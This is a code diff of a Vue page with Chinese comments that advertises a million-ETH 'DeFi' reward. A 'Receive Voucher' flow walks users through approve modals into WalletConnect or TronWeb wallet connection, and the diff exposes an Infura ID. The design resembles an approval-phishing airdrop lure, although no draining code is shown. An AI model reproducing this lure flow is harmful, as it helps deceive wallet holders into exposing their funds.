| | |
| | | <div class="banner-content"> |
| | | <p>{{ $t("message.Defi") }}</p> |
| | | <p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p> |
| | | <button @click="showApproveModal()">{{ $t("message.ReceiveVoucher") }}</button> |
| | | <button @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button> |
| | | </div> |
| | | </div> |
| | | <img src="../../assets/images/banner.png" class="banner"/> |
| | |
| | | <Account></Account> |
| | | </van-tab> |
| | | </van-tabs> |
| | | <van-overlay :show="isShowApproveModal" @click="hideApproveModal"> |
| | | <div class="wrapper" @click.stop> |
| | | <div class="block"> |
| | | <van-overlay :show="isShowApproveModal" @click="isShowApproveModal = false" class="wrapper"> |
| | | <div class="block" @click.stop> |
| | | <div class="block-title"> |
| | | <p>{{ $t("message.ReceiveDescription") }}</p> |
| | | </div> |
| | | <p class="block-content">{{ $t("message.Description") }}</p> |
| | | <button class="block-btn" @click="showAccreditModal()">{{ $t("message.Receive") }}</button> |
| | | <button class="block-btn" @click="showAccreditModal">{{ $t("message.Receive") }}</button> |
| | | </div> |
| | | </div> |
| | | </van-overlay> |
| | | <van-overlay :show="isShowAccreditModal" @click="hideAccreditModal"> |
| | | <div class="wrapper" @click.stop> |
| | | <div class="block"> |
| | | <img class="close-icon" @click="hideAccreditModal" src="../../assets/images/close-icon.png"> |
| | | <div class="accredit-box flex align-center justify-between"> |
| | | <div class="item flex flex-v align-center justify-center"> |
| | | <van-overlay :show="isShowAccreditModal" @click="isShowAccreditModal = false" class="wrapper"> |
| | | <div class="block" @click.stop> |
| | | <img class="close-icon" @click="isShowAccreditModal = false" src="../../assets/images/close-icon.png"> |
| | | <div class="accredit-box"> |
| | | <div class="item" @click="showDappModal()"> |
| | | <img src="../../assets/images/icon7.png"> |
| | | <p class="title">Dapp</p> |
| | | <p>DappConnect</p> |
| | | </div> |
| | | <div class="item flex flex-v align-center justify-center" @click="showWalletModal()"> |
| | | <div class="item" @click="showWalletModal()"> |
| | | <img src="../../assets/images/icon8.png"> |
| | | <p class="title">Wallet</p> |
| | | <p>WalletConnect</p> |
| | | </div> |
| | | </div> |
| | | </div> |
| | | </div> |
| | | </van-overlay> |
| | | <van-overlay :show="isShowWalletModal" @click="hideWalletModal"> |
| | | <div class="wrapper" @click.stop> |
| | | <div class="block"> |
| | | <img class="close-icon" @click="hideWalletModal" src="../../assets/images/close-icon.png"> |
| | | <van-overlay :show="isShowWalletModal" @click="isShowWalletModal = false" class="wrapper"> |
| | | <div class="block" @click.stop> |
| | | <img class="close-icon" @click="isShowWalletModal = false" src="../../assets/images/close-icon.png"> |
| | | <div class="wallet-box"> |
| | | <p class="title">选择你的钱包</p> |
| | | <div class="wallet-warp flex align-center justify-between"> |
| | |
| | | </div> |
| | | </div> |
| | | </div> |
| | | </div> |
| | | </van-overlay> |
| | | </div> |
| | | </template> |
| | |
| | | }, |
| | | setup() { |
| | | const { proxy } = getCurrentInstance(); |
| | | const changeLanguage = (type) => { |
| | | proxy.$i18n.locale = type; |
| | | } |
| | | let provider = reactive(new WalletConnectProvider({ |
| | | infuraId: '27e484dcd9e3efcfd25a83a78777cdf1', |
| | | bridge: "https://bridge.walletconnect.org", |
| | | })) |
| | | |
| | | // 获取地址 |
| | | let walletAddress = ref(''); |
| | | async function initWalletConnect() { |
| | | async function init() { |
| | | if(window.tronWeb){ |
| | | walletAddress = window.tronWeb.defaultAddress.base58; |
| | | alert(walletAddress) |
| | | }else{ |
| | | showAccreditModal() |
| | | } |
| | | } |
| | | |
| | | let isShowApproveModal = ref(false); |
| | | let isShowAccreditModal = ref(false); |
| | | let isShowWalletModal = ref(false); |
| | | let showAccreditModal = () => { |
| | | proxy.isShowApproveModal = false |
| | | proxy.isShowAccreditModal = true |
| | | } |
| | | let showWalletModal = () => { |
| | | proxy.isShowAccreditModal = false |
| | | proxy.isShowWalletModal = true |
| | | } |
| | | let showDappModal = () => { |
| | | let provider = new WalletConnectProvider({ |
| | | infuraId: '27e484dcd9e3efcfd25a83a78777cdf1', |
| | | bridge: "https://bridge.walletconnect.org", |
| | | }) |
| | | provider.enable(); |
| | | } |
| | | let changeLanguage = (type) => { |
| | | proxy.$i18n.locale = type; |
| | | } |
| | | onMounted(() => { |
| | | initWalletConnect() |
| | | init() |
| | | }) |
| | | return { |
| | | local: ref('zh'), |
| | |
| | | { text: '简体中文', value: 'zh' }, |
| | | { text: 'English', value: 'en' } |
| | | ], |
| | | provider, |
| | | initWalletConnect, |
| | | isShowApproveModal: ref(false), |
| | | isShowAccreditModal: ref(false), |
| | | isShowWalletModal: ref(false), |
| | | init, |
| | | // 弹窗显示隐藏 |
| | | isShowApproveModal, |
| | | isShowAccreditModal, |
| | | isShowWalletModal, |
| | | |
| | | showAccreditModal, |
| | | showWalletModal, |
| | | showDappModal, |
| | | |
| | | // 中英文切换 |
| | | changeLanguage |
| | | }; |
| | | }, |
| | |
| | | return; |
| | | } |
| | | }, |
| | | showApproveModal(){ |
| | | this.provider.enable(); |
| | | this.isShowApproveModal = true |
| | | }, |
| | | hideApproveModal(){ |
| | | this.isShowApproveModal = false |
| | | }, |
| | | showAccreditModal(){ |
| | | this.isShowApproveModal = false |
| | | this.isShowAccreditModal = true |
| | | }, |
| | | hideAccreditModal(){ |
| | | this.isShowAccreditModal = false |
| | | }, |
| | | showWalletModal(){ |
| | | this.hideAccreditModal() |
| | | this.isShowWalletModal = true |
| | | }, |
| | | hideWalletModal(){ |
| | | this.isShowWalletModal = false |
| | | } |
| | | |
| | | } |
| | | } |
| | | </script> |
| | |
| | | display: flex; |
| | | align-items: center; |
| | | justify-content: center; |
| | | padding: 50px; |
| | | box-sizing: border-box; |
| | | } |
| | | .block { |
| | | background-color: #fff; |
| | | width: 100%; |
| | | background: #fff; |
| | | border-radius: 20px; |
| | | padding: 24px 34px 32px; |
| | | position: fixed; |
| | | top: 30%; |
| | | left: 24px; |
| | | right: 24px; |
| | | padding: 32px 34px 32px; |
| | | position: relative |
| | | } |
| | | .block-title{ |
| | | text-align: left; |
| | |
| | | .close-icon{ |
| | | position: absolute; |
| | | top: -63px; |
| | | right: 0px; |
| | | right: -5px; |
| | | width: 50px; |
| | | height: 50px; |
| | | color: #fff; |
| | | } |
| | | .accredit-box{ |
| | | padding: 54px 30px; |
| | | padding: 20px 0; |
| | | } |
| | | .accredit-box .item{ |
| | | width: 45%; |
| | | border: 1px solid #E9E9E9; |
| | | border-radius: 20px; |
| | | padding: 35px; |
| | | box-sizing: border-box; |
| | | padding: 64px; |
| | | position: relative; |
| | | } |
| | | .accredit-box .item:nth-child(1)::after{ |
| | | display: block; |
| | | content: ''; |
| | | height: 1px; |
| | | width: 100%; |
| | | background: #ebedf0; |
| | | position: absolute; |
| | | left: 0; |
| | | right: 0; |
| | | bottom: 0; |
| | | } |
| | | .accredit-box .item img{ |
| | | width: 84px; |
| | | height: 84px; |
| | | width: 98px; |
| | | height: 98px; |
| | | margin-bottom: 20px; |
| | | } |
| | | .accredit-box .item p{ |
| | | margin: 10px 0 0; |
| | | font-size: 24px; |
| | | font-size: 30px; |
| | | color: #999999; |
| | | } |
| | | .accredit-box .item .title{ |
| | | font-size: 32px; |
| | | font-size: 40px; |
| | | color: #080808; |
| | | font-weight: bold; |
| | | } |